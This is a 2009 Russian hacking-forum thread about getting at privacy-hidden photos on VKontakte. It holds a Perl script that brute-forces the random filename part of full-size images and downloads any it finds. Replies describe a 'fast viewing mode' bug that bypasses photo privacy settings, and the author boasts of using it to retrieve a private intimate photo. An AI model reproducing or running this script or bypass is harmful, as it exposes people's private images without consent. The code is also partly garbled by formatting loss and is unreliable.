HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ФИНАНСОВЫЕ ЗАДАЧИ/СОЦИАЛЬНЫЕ СЕТИ > Социальные сети
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

vkontakte image bruteforce
  #1  
Старый 31.07.2009, 11:18
flatr0ze
Новичок
Регистрация: 30.07.2009
Сообщений: 9
С нами: 8833125

Репутация: 16
Post vkontakte image bruteforce

Идея заключается в следующем: [в]контакте существуют альбомы с фотографиями, и ксожалению, зачастую полноразмерные картинки скрыты (чаще всего по инициативе пользователя).
Альбомы выглядят вот так: http://vkontakte.ru/album1_63553226
Тамбы имеют адрес вида: http://cs117.vkontakte.ru/u00001/63553226/m_18b46833.jpg
Тогда как полное изображение: http://cs117.vkontakte.ru/u00001/63553226/x_fbca3166.jpg

Следует заметить, что единственное, что отличает тамб от фулпика - это 8 абсолютно_рандомных символа и наличие x_ вместо m_ перед ними. Сервер и папка с изображением и тамбом всегда одна и таже. Символы - вероятно кусок хэша, или еще какая-нибудь мунга-бунга. При любом раскладе, они у этих файлов разные.

Брутфорс осуществляется подбором этих 8 символов двумя способами:
1. По "словарю", что оставлено на случай если можно будет найти закономерность по которым вычисляется комбинация символов.
2. Рандомно, "налету".

8 символов при средней скорости в 50 комбинаций в секунду (проверено из Москвы, стрим), будут брутить одну картинку почти 2 тысячи лет;
2 символа чуть меньше минуты;
3 за 15;
ну а на 4 уйдет 8-10 часов;

При наличии файла на сервере, скрипт сохранит файл в папку инициализации, под именем вида x_hash1234.jpg

Чтобы эта вещь могла принести пользу раньше, чем через тысячу-другую лет, необходимо поднять скорость в 100000 раз (50*100000=5,000,000). Через юрл сделать это не представляется возможным, так что, остается только один путь...

Один путь заключается в нахождении зависимости сгенерированного куска хэша от времени загрузки, размера файла, имени файла, или, на худой конец, от мд5 оригинала. Далее, будет создан другой script.pl, который будет генерировать хэшлист, основываясь на известных параметрах изображения.

Еще более сумасшедний способ генерирования таких хэшлистов, это создание script.pl с "пауком", который сканировал бы все альбомы вконтакте, и логил бы возможные варианты после x_...
на два полных гига целый день уходит...
Зато, данный способ может прокатить, если рандом не такой уж и хороший, и комбинации действительно дублируются.

x_vkontakte.pl

PHP код:
#!/usr/bin/perl
# version: 0.8.4
# author: flatr0ze
# e-mail: flat.rose@gmail.com

use LWP::Simple;

print 
"\n1. Paste the full path of the image thumbnail:\n] ";
chomp($m_path1234 = <STDIN>);

$folder =  substr $m_path12340, -14;
$m_filename =  substr $m_path1234, -14;
$m_hash1234 =  substr $m_filename2, -4;
print 
"Parsing thumbnail...\n\n";
print 
"Image folder: ".$folder."\n";
print 
"Thumbnail filename: ".$m_filename."\n";
print 
"Thumbnail hash: ".$m_hash1234."\n\n";

print 
"2. Enter path to the hashlist, or leave it empty to run hash generator: \n] ";
chomp($hashlist = <STDIN>);

if (
$hashlist) {

    print 
"Loading hashlist...\n\n";

    
open(HASHLIST$hashlist) || die "Error: Could not open hashlist file.\n";

#    $attempts = <number of lines>; // depleted

    
while ($string = <HASHLIST>) {
        
$hash1234 substr $string08;
        if (
length($hash1234) > 7) {
            
$url =  $folder."x_".$hash1234.".jpg";
            if (
head($url)) {
                print 
"File ".$url." exists!\n\n";
                print 
"Saving...\n\n";
                
getstore($url"x_".$hash1234.".jpg");
            } else {
                print 
"File ".$url." doesn't exist.\r\r";
            }
        }
    }

    
close(HASHLIST);

    print 
"\n\nFinished!\n\n";

} else {

    
$attempts 100000000;

    print 
"Starting hash generator with ".$attempts." attempts...\n\n";

    for (
$i 0$i <= $attempts$i++) {
        
$hash1234 generateHash();
        
$url =  $folder."x_".$hash1234.".jpg";
        if (
head($url)) {
            print 
"[".$i."/".$attempts."] ";
            print 
"File ".$url." exists!\n\n";
            print 
"Saving...\n\n";
            
getstore($url"x_".$hash1234.".jpg");
        } else {
            print 
"[".$i."/".$attempts."] ";
            print 
"File ".$url." doesn't exist.\r\r";
        }
    }

    print 
"\n\nFinished.\n\n";

}

sub generateHash {
    
my @chars = ('a'..'z','0'..'9');
    
my $hash;
    for (
0..7) {
        
$hash .= $chars[int rand @chars];
    }
    return 
$hash;

 
Ответить с цитированием

  #2  
Старый 31.07.2009, 11:23
Gordiy
Познающий
Регистрация: 19.03.2008
Сообщений: 67
С нами: 9550963

Репутация: 6
По умолчанию

оболдеть! вот это теория а на практикке реально такое осуществить?
 
Ответить с цитированием

  #3  
Старый 31.07.2009, 11:33
flatr0ze
Новичок
Регистрация: 30.07.2009
Сообщений: 9
С нами: 8833125

Репутация: 16
По умолчанию

объясняю еще раз...
эта вещь работает, и проверена мною лично, так как я же её и написал.
единственная проблема - это время:через 2к лет ни компов, ни жпега, ни нас уже не будет.
если найти закономерность генерации этих символов, то картинку из вконтакта можно будет достать любую!
 
Ответить с цитированием

  #4  
Старый 31.07.2009, 13:04
unl1m
Участник форума
Регистрация: 25.11.2008
Сообщений: 200
С нами: 9188969

Репутация: 45
По умолчанию

Спасибо ТС
 
Ответить с цитированием

  #5  
Старый 31.07.2009, 13:16
ViLKaa
Новичок
Регистрация: 24.07.2009
Сообщений: 9
С нами: 8841798

Репутация: 10
По умолчанию

Хм..написал недавно прогу..
http://forum.antichat.ru/threadnav114377-7-10.html
68й пост..но она качает только открытые альбомы.

Нов процессе разбора заметил..что в большинстве случаев..

попадаются пары отличающиеся только Х

2298267/m_f5a50e8e2e.jpg
2298267/x_f5a50e8e2e.jpg

Далее...если скрыт альбом..то как узнать у фотки это место http://cs40. онож всевремя разное
 
Ответить с цитированием

  #6  
Старый 31.07.2009, 13:33
flatr0ze
Новичок
Регистрация: 30.07.2009
Сообщений: 9
С нами: 8833125

Репутация: 16
Thumbs up

Цитата:
Сообщение от ViLKaa  
Хм..написал недавно прогу..
http://forum.antichat.ru/threadnav114377-7-10.html
68й пост..но она качает только открытые альбомы.

Но в процессе разбора заметил..что в большинстве случаев..

попадаются пары отличающиеся только Х

2298267/m_f5a50e8e2e.jpg
2298267/x_f5a50e8e2e.jpg

Далее...если скрыт альбом..то как узнать у фотки это место http://cs40. онож всевремя разное
Прога хорошая, отличная работа!
---------------------------------------------
Не исключаю что подобные парные хэши тамбов и пиков могут иметь место, но вот только лично я не встречал их. Возможно, это остаточное явления старого хэширования имен файлов самого [в]контакта, когда подобная защита скрытых картинок была расчитана только на полностью скрытые альбомы, т.е. когда даже имя\сервер тамба не известен.
Далее...если альбом полностью скрыт, то сервер не узнать. Но тут встает вопрос: как вообще мы знаем о существовании пикчера ради которого готовы брутить 2000 лет (с), если альбом скрыт и мы даже не знаем что хотим достать?
А у тамба и пики - повторюсь, сервера одинаковые, во всяком мне только одинаковые поадались. Возможно, если пикчер переезжает на другой сервак, то временно(хорошо если так), сервера могут быть разными.
 
Ответить с цитированием

  #7  
Старый 31.07.2009, 15:34
hiphop191817
Новичок
Регистрация: 25.04.2009
Сообщений: 17
С нами: 8971447

Репутация: 1
По умолчанию

Обойти то где есть надпись "фотографии защещены настройками приватности" можно так:
-нажать на меню "Включить ускоренный режим просмотра фотографий »" -оно находится внизу за фотками и коментариями к ней
-найти фотку которая не защищена настройками приватности
-и стрелочками дойти до той фотки которая была защищена настройками приватности
 
Ответить с цитированием

  #8  
Старый 31.07.2009, 15:44
flatr0ze
Новичок
Регистрация: 30.07.2009
Сообщений: 9
С нами: 8833125

Репутация: 16
Thumbs up

Цитата:
Сообщение от hiphop191817  
Обойти то где есть надпись "фотографии защещены настройками приватности" можно так:
-нажать на меню "Включить ускоренный режим просмотра фотографий »" -оно находится внизу за фотками и коментариями к ней
-найти фотку которая не защищена настройками приватности
-и стрелочками дойти до той фотки которая была защищена настройками приватности
ХА! Я достал задницу которую искал! Хэш был e69931f5, я бы брутил его порядка 20 лет если бы даже и знал что там всего 2 буквы ^^
Спасибо за туториал по багу, hiphop191817! Ты сегодня осчастливил одного хакера как минимум!
 
Ответить с цитированием

  #9  
Старый 31.07.2009, 16:09
flatr0ze
Новичок
Регистрация: 30.07.2009
Сообщений: 9
С нами: 8833125

Репутация: 16
По умолчанию

Цитата:
Ron: а ваще забавно
… надо воткнуть, откуда этот ускоренный режим получает айдишники
… чтоб напрямую обращаться, если даже все фотографии закрыты
Словами хаксора истина глаголится!
 
Ответить с цитированием

  #10  
Старый 31.07.2009, 16:13
hiphop191817
Новичок
Регистрация: 25.04.2009
Сообщений: 17
С нами: 8971447

Репутация: 1
По умолчанию

Цитата:
если даже все фотографии закрыты
Такое встречается крайне редко, особенно в тех анкетах где много фотографий
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Разбираем матрицу: QR-код и чем его «едят» (C#). c0n Difesa С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 17 18.11.2009 19:53
Акаунты в Vkontakte, Акаунты для спама *Crysis* Покупка, продажа, услуги в Соц. Сетях 0 04.03.2009 13:30
bruteforce vkontakte SVAROG Социальные сети 17 05.02.2009 12:11



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...